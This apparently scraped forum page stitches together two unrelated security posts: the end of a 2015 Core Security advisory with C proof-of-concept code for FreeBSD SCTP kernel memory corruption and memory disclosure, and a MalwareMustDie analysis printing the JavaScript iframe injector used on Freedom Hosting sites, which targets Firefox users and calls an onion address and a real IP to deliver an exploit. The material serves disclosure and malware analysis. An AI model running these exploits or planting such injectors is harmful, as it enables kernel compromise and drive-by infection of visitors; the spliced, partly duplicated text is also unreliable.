<stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Memory Corruption Vulnerability PoC **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* * stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. * stream_value will be written to the calculated address. */ stream_value.stream_id = 0xFFFF; stream_value.stream_value = 0x4142; /* Triggering the vulnerability... */ if (setsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, (socklen_t)sizeof(struct sctp_stream_value)) < 0){ perror("triggering the vulnerability"); goto out; } out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ The following code is a Proof of Concept for the third vulnerability: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <netinet/sctp_uio.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <stdlib.h> #include <unistd.h> #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd; struct sockaddr_in addr; struct sctp_initmsg init; struct sctp_stream_value stream_value; struct sctp_assoc_value assoc_value; socklen_t opt_len; printf("** FreeBSD SCTP Socket SCTP_SS_VALUE Kernel Memory Disclosure Vulnerability **\n"); if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&init, 0, sizeof(init)); init.sinit_num_ostreams = 2048; if (setsockopt(fd, IPPROTO_SCTP, SCTP_INITMSG, &init, (socklen_t)sizeof(struct sctp_initmsg)) < 0) { perror("SCTP_INITMSG"); goto out; } memset(&addr, 0, sizeof(addr)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (connect(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("connect"); goto out; } /* Set up the stcb->asoc.ss_functions struct with the function pointers belonging to the SCTP_SS_PRIORITY socket option */ memset(&assoc_value, 0, sizeof(assoc_value)); assoc_value.assoc_value = SCTP_SS_PRIORITY; assoc_value.assoc_id = SCTP_CURRENT_ASSOC; if (setsockopt(fd, IPPROTO_SCTP, SCTP_PLUGGABLE_SS, &assoc_value, (socklen_t)sizeof(struct sctp_assoc_value)) < 0){ perror("setting up function pointers"); goto out; } memset(&stream_value, 0, sizeof(stream_value)); opt_len = sizeof(stream_value); stream_value.assoc_id = SCTP_CURRENT_ASSOC; /* stream_id will be used as an index into the stcb->asoc.strmout array without performing bounds checking. */ stream_value.stream_id = 0x400; /* Triggering the vulnerability... */ if (getsockopt(fd, IPPROTO_SCTP, SCTP_SS_VALUE, &stream_value, &opt_len) < 0){ perror("triggering the vulnerability"); goto out; } printf("[*] Value leaked from kernel: 0x%04X\n", stream_value.stream_value); out: if (close(fd) < 0) { perror("close"); } return(0); } -----/ Note that both the second and third PoCs try to connect to a dummy SCTP server listening on localhost on port 4444, since the SCTP socket needs to be in a 'connected' state in order to trigger the vulnerabilities. The following code, based on the example code published here[5], can be used to run a simple SCTP server listening on port 4444: /----- #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/sctp.h> #include <arpa/inet.h> #include <string.h> #include <stdio.h> #include <unistd.h> #define BUFFER_SIZE (1<<16) #define PORT 4444 #define ADDR "127.0.0.1" int main(int argc, char *argv[]) { int fd, n, flags; struct sockaddr_in addr; socklen_t from_len; struct sctp_sndrcvinfo sinfo; char buffer[BUFFER_SIZE]; struct sctp_event_subscribe event; if ((fd = socket(AF_INET, SOCK_SEQPACKET, IPPROTO_SCTP)) < 0) { perror("socket"); goto out; } memset(&event, 1, sizeof(struct sctp_event_subscribe)); if (setsockopt(fd, IPPROTO_SCTP, SCTP_EVENTS, &event, sizeof(struct sctp_event_subscribe)) < 0) { perror("setsockopt"); goto out; } memset(&addr, 0, sizeof(struct sockaddr_in)); #ifdef HAVE_SIN_LEN addr.sin_len = sizeof(struct sockaddr_in); #endif addr.sin_family = AF_INET; addr.sin_port = htons(PORT); addr.sin_addr.s_addr = inet_addr(ADDR); if (bind(fd, (struct sockaddr *)&addr, sizeof(struct sockaddr_in)) < 0) { perror("bind"); goto out; } if (listen(fd, 1) < 0) { perror("listen"); goto out; } while (1) { flags = 0; memset(&addr, 0, sizeof(struct sockaddr_in)); from_len = (socklen_t)sizeof(struct sockaddr_in); memset(&sinfo, 0, sizeof(struct sctp_sndrcvinfo)); n = sctp_recvmsg(fd, (void *)buffer, BUFFER_SIZE, (struct sockaddr *)&addr, &from_len, &sinfo, &flags); if (flags & MSG_NOTIFICATION) { printf("Notification received.\n"); } else { printf("Msg of length %d received from %s:%u on stream %d, PPID %d.\n", n, inet_ntoa(addr.sin_addr), ntohs(addr.sin_port),sinfo.sinfo_stream, ntohl(sinfo.sinfo_ppid)); } } out: if (close(fd) < 0) { perror("close"); } return (0); } -----/ 9. *Report Timeline* . 2015-01-15: Initial notification sent to FreeBSD. Publication date set to Feb 16, 2015. . 2015-01-15: FreeBSD confirms reception of the report and requests the draft version of the advisory. They clarify that they usually aim for Tuesday releases depending on the severity of the problem. . 2015-01-15: Core Security sends a draft version of the advisory to the vendor and requests to be informed once they finish reviewing the vulnerabilities. . 2015-01-26: Core Security requests a status report regarding their review of the vulnerabilities and the estimated publication date. . 2015-01-26: FreeBSD confirms the bugs, but informs us that they'll only publish a security advisory for the SCTP Socket SCTP_SS_VALUE Memory Corruption and Kernel Memory Disclosure vulnerabilities. For the "vt Driver VT_WAITACTIVE Sign Conversion Vulnerability" they will commit a normal change and then release an "Errata Notice" informing the fix. They set the publication date for 27th January, 2015. . 2015-01-26: Core Security informs that understands their position regarding the vt Driver VT_WAITACTIVE Sign Conversion issue, but we will nevertheless publish thew bug in the advisory because we consider it a vulnerability. We accepted their offer of sharing CVE IDs. . 2015-01-26: FreeBSD confirms they have available CVE IDs and ask if we want to use IDs from 2014 or 2015. . 2015-01-27: FreeBSD informs us that after going through their mail archive they found out that the same issue was reported by Google and that they missed it. They inform us that they will use only one CVE ID for the two SCTP issues because they state they are of the same nature. . 2015-01-27: Core Security informs that will assign a the CVE ID CVE-2014-0998 to the vt(4) vulnerability and we requested the date and time they plan to release the fix and advisory. . 2015-01-27: FreeBSD informs they will publish the fix and advisory today. . 2015-01-27: Advisory CORE-2015-0003 published. 10. *References* [1] https://www.freebsd.org/releases/10.1R/relnotes.html#new [2] https://www.freebsd.org/cgi/man.cgi?query=vt&sektion=4 [3] https://wiki.freebsd.org/Newcons [4] https://www.freebsd.org/cgi/man.cgi?query=sctp&sektion=4 [5] http://www.bsdcan.org/2008/schedule/attachments/44_bsdcan_sctp.pdf [6] https://security.FreeBSD.org/advisories/FreeBSD-SA-15:02.kmem.asc 11. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 12. *About Core Security Technologies* Core Security Technologies enables organizations to get ahead of threats with security test and measurement solutions that continuously identify and demonstrate real-world exposures to their most critical assets. Our customers can gain real visibility into their security standing, real validation of their security controls, and real metrics to more effectively secure their organizations. Core Security's software solutions build on over a decade of trusted research and leading-edge threat expertise from the company's Security Consulting Services, CoreLabs and Engineering groups. Core Security Technologies can be reached at +1 (617) 399-6980 or on the Web at: http://www.coresecurity.com. 13. *Disclaimer* The contents of this advisory are copyright (c) 2015 Core Security and (c) 2015 CoreLabs, and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 14. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc. Source
  14. # MalwareMustDie! # This is the malicious Javascript set codes injected to the Freedom Hosting site # It contents the IFRAMER Malware method to redirect the victim to infector site, in url: # http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 # # Original copy at: www.twitlonger.com/show/n_1rlo0uu # See the Iframer part and tell me if this is NOT adapting malware techniques, and NOT blindly infect every visitor to that site!! # Anyone who accessed an FH site with Firefox & JavaScript enabled must be affected to this IFRAMER. # Case: FBI infects malware in public anonymous network http://blog.malwaremustdie.org/2014/08/what-is-bad-stays-bad-legalized-any.html # Ref: http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/ # Ref: https://www.mozilla.org/security/announce/2013/mfsa2013-53.html # Ref: http://www.twitlonger.com/show/n_1rlo0uu # Ref: http://pastebin.com/bu2Ya0n6 # Ref: http://pastebin.com/pmGEj9bV # MalwareMustDie!# This is the malicious Javascript set codes injected to the Freedom Hosting site # It contents the IFRAMER Malware method to redirect the victim to infector site, in url: # http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0 # # Original copy at: www.twitlonger.com/show/n_1rlo0uu # See the Iframer part and tell me if this is NOT adapting malware techniques, and NOT blindly infect every visitor to that site!! # Anyone who accessed an FH site with Firefox & JavaScript enabled must be affected to this IFRAMER. # Case: FBI infects malware in public anonymous network http://blog.malwaremustdie.org/2014/08/what-is-bad-stays-bad-legalized-any.html # Ref: http://www.reddit.com/r/onions/comments/1jmrta/founder_of_the_freedom_hosting_arrested_held/ # Ref: https://www.mozilla.org/security/announce/2013/mfsa2013-53.html # Ref: http://www.twitlonger.com/show/n_1rlo0uu # Ref: http://pastebin.com/bu2Ya0n6 # Ref: http://pastebin.com/pmGEj9bV // Case 1 function createCookie(name,value,minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime()+(minutes*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } function isFF() { return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent)); } function updatify() { var iframe = document.createElement('iframe'); iframe.style.display = "inline"; iframe.frameBorder = "0"; iframe.scrolling = "no"; iframe.src = "http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0"; iframe.height = "5"; iframe.width = "*"; document.body.appendChild(iframe); } function format_quick() { if ( ! readCookie("n_serv") ) { createCookie("n_serv", "203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0", 30); updatify(); } } function isReady() { if ( document.readyState === "interactive" || document.readyState === "complete" ) { if ( isFF() ) { format_quick(); } } else { setTimeout(isReady, 250); } } setTimeout(isReady, 250); // Case 2 function createCookie(name, value, minutes) { if (minutes) { var date = new Date(); date.setTime(date.getTime() + (minutes * 60 * 1000)); var expires = "; expires=" + date.toGMTString(); } else var expires = ""; document.cookie = name + "=" + value + expires + "; path=/"; } function readCookie(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for (var i = 0; i < ca.length; i++) { var c = ca; while (c.charAt(0) == ' ') c = c.substring(1, c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length, c.length); } return null; } function isFF() { return (document.getBoxObjectFor != null || window.mozInnerScreenX != null || /Firefox/i.test(navigator.userAgent)); } function updatify() { var iframe = document.createElement('iframe'); iframe.style.display = "inline"; iframe.frameBorder = "0"; iframe.scrolling = "no"; iframe.src = "http://65.222.202.53/?requestID=eb5f2c80-fc81-11e2-b778-0800200c9a66"; <== (1) 1ST CALLBACK SELF EXPLANATORY iframe.height = "5"; iframe.width = "*"; document.body.appendChild(iframe); } function freedomhost() { if (!readCookie("n_serv")) { createCookie("n_serv", "eb5f2c80-fc81-11e2-b778-0800200c9a66", 30); updatify(); } } function isReady() { if (document.readyState === "interactive" || document.readyState === "complete") { if (isFF()) { //window.alert(window.location + "Firefox Detected.") freedomhost(); } } else { setTimeout(isReady, 250); } } setTimeout(isReady, 250); // Noted, same method, // second script is w/IP info callback, contacting remote host as per marked (1) IP Address: 65.222.202.53 City: Triadelphia State or Region: West Virginia Country: United States ISP: Verizon Business Latitude & Longitude: 40.0900-80.6220 Domain: verizonbusiness.com ZIP Code: 26059 --- #MalwareMustDie! @unixfreaxjp Source
×
×
  • Create New...